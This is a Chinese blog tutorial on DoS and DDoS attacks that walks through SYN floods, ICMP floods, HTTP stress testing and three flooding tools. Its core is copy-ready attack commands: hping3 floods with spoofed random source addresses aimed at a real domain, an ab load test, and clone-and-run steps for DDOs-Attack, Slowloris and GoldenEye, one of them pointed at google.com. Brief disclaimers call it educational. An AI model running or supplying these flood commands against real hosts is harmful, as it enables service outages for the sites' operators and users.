聊聊DOS/DDOS那些事

本文介绍了DOS和DDoS攻击的概念,包括其工作原理和常见的攻击方式,如TCP和ICMP协议攻击,以及web压力测试。重点介绍了KaliLinux中的两个DDoS工具:DDoS-Attack和Slowloris/Goldeneye,提醒读者网络安全学习的目的仅限于教育,切勿非法使用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

前言

大家作为一名网络安全爱好者,切记请勿恶意攻击他人

什么是DOS/DDOS

大家看到这个攻击名称是不是很熟悉,在近期的很多电影剧情中我们都会看到网络上很多人大量使用网络流量这种攻击来瘫痪和增加服务器的负担,使网站脱机无法使用

那我们细讲一下,所谓DOS就是指拒绝服务攻击。攻击者发送大量的恶意请求,从而增加服务器的负担。从而造成正常用户访问异常。而DDOS攻击(分布式拒绝服务),就是攻击者控制的大量的“肉鸡”,通过肉鸡在进行DOS攻击。而这种攻击也最难防御。

常见的攻击方式

讲一下一共有三个常见的方式

基于TCP协议的攻击

通过发送大量的TCP协议报文,从而使得服务器处于一个半链接状态(不能连上网)!

如图:进行了 1,2步骤 没有进行第3步。如,我们在kali中执行下面命令

hping3 -c 150000 --flood -S --rand-source bbskali.cn

这时,我们便可以看到,有很多IP同时在访问目录。

基于icmp协议的攻击

就是发送大量的ping包,让服务器瘫痪

hping3 --icmp  --flood -d 1400 --rand-source bbskali.cn

web压力测试

压力测试也称为cc攻击。通过模拟多用户多线程请求,来消耗CPU和内存。ab(Apache Bench)apache性能测试工具,这是 apache 免费自带的性能测试工具,能模拟多个并发请求(支持 HTTPS)。在kali中已默认自带,无需再次安装。

ab -t 60 -c 500 -n 500 https://bbskali.cn/thread-413-1-1.html

Kali Linux中两个常用的DDOS工具

DDOs-Attack

安装

git clone https://github.com/Ha3MrX/DDOs-Attack
cd DDOs-Attack
chmod +x ddos-attack.py
python ddos-attack.py

输入目标网址和端口便可完成 ddos

Slowloris

Slowloris 是 Github 上提供的免费开源工具。我们可以使用此工具执行拒绝服务攻击。这是一个用python编写的框架。此工具允许单台机器关闭另一台机器的 Web 服务器,它使用完全合法的 HTTP流量。它建立一个完整的 TCP 连接,然后在长期和定期的时间间隔只需要几百个请求。因此,该工具不需要花费大量流量来耗尽服务器上的可用连接。

Slowloris 的用途:

Slowloris 向目标发送多个请求,因此会产生大量流量的僵尸网络。Slowloris 可用于对任何网络服务器执行 ddos 攻击。它是一个开源工具,因此您可以从 github 免费下载它。它使用完全合法的 HTTP 流量。可以在 Slowloris 的帮助下通过产生大量僵尸网络流量来执行拒绝服务攻击。

安装

git clone https://github.com/gkbrk/slowloris.git
python3 slowloris .py(你的IP地址)-s 500

Goldeneye

Goldeneye是GitHub 上提供的免费开源工具。我们可以使用此工具执行拒绝服务攻击。它是一个用 .NET Core 编写的框架。该工具提供了许多用于日常工作的基类和扩展。此工具允许单台机器关闭另一台机器的 Web 服务器,它使用完全合法的 HTTP 流量。它建立一个完整的 TCP 连接,然后在长期和定期的时间间隔只需要几百个请求。因此,该工具不需要使用大量流量来耗尽服务器上的可用连接。

特征

  • Goldeneye 使用完全合法的 HTTP 流量。拒绝服务攻击可以在 Goldeneye 的帮助下通过产生大量僵尸网络流量来执行。

  • Goldeneye 向目标发送多个请求,结果会产生大量流量的僵尸网络。

  • Goldeneye 是一个开源工具,因此您可以从 GitHub 免费下载它。

  • Goldeneye 可用于对任何网络服务器执行 ddos攻击。

安装

git clone https://github.com/jseidl/GoldenEye.git
#示例 1使用 GoldenEye 工具对任意域进行 DDoS 攻击。
./goldeneye.py https://www.google.com -s 1000
#以“随机”模式发送流量
./goldeneye.py http://192.168.0.233:80/ -s 10 -m 6

结言

同时本文的主旨在于网络安全学习,再次强调请勿非法恶意攻击,造成后果自负,感兴趣的读者可以自行查阅深入了解。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值